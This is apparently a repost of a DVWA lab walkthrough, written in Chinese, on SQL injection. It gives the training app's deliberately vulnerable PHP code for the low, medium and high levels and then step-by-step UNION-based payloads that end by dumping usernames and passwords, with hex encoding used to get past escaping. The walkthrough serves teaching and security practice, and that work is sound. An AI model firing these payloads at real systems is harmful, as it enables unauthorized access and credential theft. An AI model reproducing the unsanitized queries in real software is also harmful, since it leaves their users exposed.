我的编程空间,编程开发者的网络收藏夹
学习永远不晚

DWVA-关于SQL注入的漏洞详解

短信预约 信息系统项目管理师 报名、考试、查分时间动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

DWVA-关于SQL注入的漏洞详解

low等级

代码如下:

 

 1  php
 2 
 3 if( isset( $_REQUEST[ "Submit" ] ) ) {
 4     // Get input
 5     $id = $_REQUEST[ "id" ];
 6 
 7     // Check database
 8     $query  = "SELECT first_name, last_name FROM users WHERE user_id = "$id";";
 9     $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( "
" . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . "
" ); 10 11 // Get results 12 while( $row = mysqli_fetch_assoc( $result ) ) { 13 // Get values 14 $first = $row["first_name"]; 15 $last = $row["last_name"]; 16 17 // Feedback for end user 18 echo "
ID: {$id}
First name: {$first}
Surname: {$last}
"; 19 } 20 21 mysqli_close($GLOBALS["___mysqli_ston"]); 22 } 23 24 ?>

 

如上图,代码并没有对输入进行过滤,存在sql注入漏洞

下面开始攻击:

1.判断是否存在注入

输入   1                         ---返回正确

输入   1’                        ---返回错误

输入   1 and 1=1         ---返回正确

输入   1 and 1=2         ---返回正确

输入   1‘ and ’1‘=’1      ---返回正确

输入   1‘ and ’1‘=’1      ---返回正确

输入   1‘ and ’1‘=’2      ---返回错误(到了这里得出应该存在字符型注入,下面继续验证)

输入   1‘ or ’1‘=’1         ---返回正确(返回很多结果,证明存在字符型注入)

2.猜解查询SQL语句中的字段数

输入   1‘ or 1=1 order by 1#     ---返回正确

输入   1‘ or 1=1 order by 2#      ---返回正确

输入   1‘ or 1=1 order by 3#      ---返回错误(返回结果---Unknown column "3" in "order clause"       证明字段数为2)

3.确定字段顺序

输入   1" or 1=1 union select 1,2#    ---返回两组结果(证明执行的sql查询语句为:select Frist name,Surname from 表 where ID="id")

4.确定数据库

输入   1" or 1=1 union select database(),2#    ---确定数据库为  dwva

5.猜解表名

输入  1" or 1=1 union select 1,table_name from information_schema.tables where table_schema="dvwa" #        ---确定表名为 guestbook 和 users

6.猜解列名

输入  1" or 1=1 union select 1,column_name from information_schema.columns where table_schema="dvwa" and table_name="users" #      ---爆出8个列名user_id,first_name,last_name,user,password,avatar,last_login,failed_login

7.猜解数据名

输入  1" or 1=1 union select 1,concat(user,"-",password) from users #       ---爆出所有数据

 

medium

代码如下:

 

 1 php
 2 
 3 if( isset( $_POST[ "Submit" ] ) ) {
 4     // Get input
 5     $id = $_POST[ "id" ];
 6 
 7     $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
 8 
 9     $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
10     $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( "
" . mysqli_error($GLOBALS["___mysqli_ston"]) . "
" ); 11 12 // Get results 13 while( $row = mysqli_fetch_assoc( $result ) ) { 14 // Display values 15 $first = $row["first_name"]; 16 $last = $row["last_name"]; 17 18 // Feedback for end user 19 echo "
ID: {$id}
First name: {$first}
Surname: {$last}
"; 20 } 21 22 } 23 24 // This is used later on in the index.php page 25 // Setting it here so we can close the database connection in here like in the rest of the source scripts 26 $query = "SELECT COUNT(*) FROM users;"; 27 $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( "
" . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . "
" ); 28 $number_of_rows = mysqli_fetch_row( $result )[0]; 29 30 mysqli_close($GLOBALS["___mysqli_ston"]); 31 ?>

 中等难度中对特殊字符进行了转义,并且将输入框改为下拉菜单,防止注入。

我们可以通过burpsuit抓包后修改提交数据来进行恶意注入。

下面开始攻击:

1.判断注入类型

选择1,提交,抓包后更改为 (此操作后续简写为抓包)

1‘ and 1=1                  ---返回错误

1 and 1=1                  ---返回正常(说明注入类型为数字型注入)

2.判断字段数

抓包

1 order by 1#            ---返回正常

1 order by 2#            ---返回正常

1 order by 3#            ---返回错误(字段数为2)

3.判断字段顺序

抓包

1 union select 1,2#         ---返回正常

4.猜解数据库

抓包

1 union select 1,database()#    ---成功爆出数据库 dvwa

5.猜解表名

抓包

1 union select 1,table_name from information_schema.tables where table_schema=‘dvwa’#       ---返回错误(此处的错误是由于存在字符 ‘ ,可以转换成16进制然后提交)

1 union select 1,table_name from information_schema.tables where table_schema=0x276476776127#        ---返回正常(只能爆出admin表)

1 union select 1,table_name from information_schema.tables where table_schema=0x64767761#        ---正常爆出(这里和上一句的区别在于转换16进制的时候,上一句转的是  ‘dvwa’  ,这一句转的是  dvwa  ,转换的时候没有加‘,需要注意!)

也可以这样

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #    ---爆出表名guestbook,users

6.猜解列名

抓包

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #     ---爆出列名

7.猜解数据名

抓包

1 union select concat(user),concat(password) from users#      ---爆出所有数据名

 

 

high

代码如下:

 1 php
 2 
 3 if( isset( $_SESSION [ "id" ] ) ) {
 4     // Get input
 5     $id = $_SESSION[ "id" ];
 6 
 7     // Check database
 8     $query  = "SELECT first_name, last_name FROM users WHERE user_id = "$id" LIMIT 1;";
 9     $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( "
Something went wrong.
" ); 10 11 // Get results 12 while( $row = mysqli_fetch_assoc( $result ) ) { 13 // Get values 14 $first = $row["first_name"]; 15 $last = $row["last_name"]; 16 17 // Feedback for end user 18 echo "
ID: {$id}
First name: {$first}
Surname: {$last}
"; 19 } 20 21 ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 22 } 23 24 ?>

 

high级别对提交参数加了一个  limit 1 ,依次来控制输出参数为一个。

此处可以利用low中的注入破解,因为注入过程中用到了#,将后面的语句注释掉了。

1.判断注入类型

1" or "1"="1      ---字符注入

2.判断字段数

1" or 1=1 order by 2#      ---返回正确

1" or 1=1 order by 3#      ---返回错误

3.判断字段顺序

1‘ or 1=1 union select 1.2#    ---返回正常

4.猜解数据库

1‘ or 1=1 union select 1,database()#    ---爆出数据库名

5.猜解表名

1"  or 1=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #    ---爆出表名

6.猜解列名

1" or 1=1 union select 1,group_concat(column_name) from information_schema.columns where table_name="users" #       ----爆出列名

7.爆出数据

1" or 1=1 union select group_concat(user),group_concat(password) from users #            ---爆出数据

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

DWVA-关于SQL注入的漏洞详解

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

DWVA-关于SQL注入的漏洞详解

low等级代码如下:  1  如上图,代码并没有对输入进行过滤,存在sql注入漏洞下面开始攻击:1.判断是否存在注入输入   1                         ---返回正确输入   1’                        --
2014-08-18

thinkPHP3.2.3中sql注入漏洞问题怎么解决

这篇文章主要介绍“thinkPHP3.2.3中sql注入漏洞问题怎么解决”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“thinkPHP3.2.3中sql注入漏洞问题怎么解决”文章能帮助大家解决问题。
2023-06-30

关于javascript解决闭包漏洞的一个问题详解

闭包在JavaScript高级程序设计(第3版)中是这样描述:闭包是指有权访问另一个函数作用域中的变量的函数,下面这篇文章主要给大家介绍了关于javascript解决闭包漏洞的一个问题的相关资料,需要的朋友可以参考下
2022-11-13

关于@RequestBody和@RequestParam注解的使用详解

这篇文章主要介绍了关于@RequestBody和@RequestParam注解的使用详解,本文十分具有参考意义,希望可以帮助到你,如果有错误的地方还望不吝赐教
2023-03-24

安全漏洞XSS、CSRF、SQL注入以及DDOS攻击的介绍和应对措施

本篇内容介绍了“安全漏洞XSS、CSRF、SQL注入以及DDOS攻击的介绍和应对措施”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!0x01:
2023-06-17

网站安全测试与检测中 发现的OA系统中的SQL注入漏洞

网站安全测试与检测中 发现的OA系统中的SQL注入漏洞分类专栏: ***测试 网站***测试 网站安全漏洞检测 文章标签: 网站安全检测 网站漏洞修复 网站安全维护 网站***测试 网站安全扫描版权近日,SINE安全监测中心监控到泛微OA系统被爆出存在高危的s

	网站安全测试与检测中 发现的OA系统中的SQL注入漏洞
2016-07-23

编程热搜

目录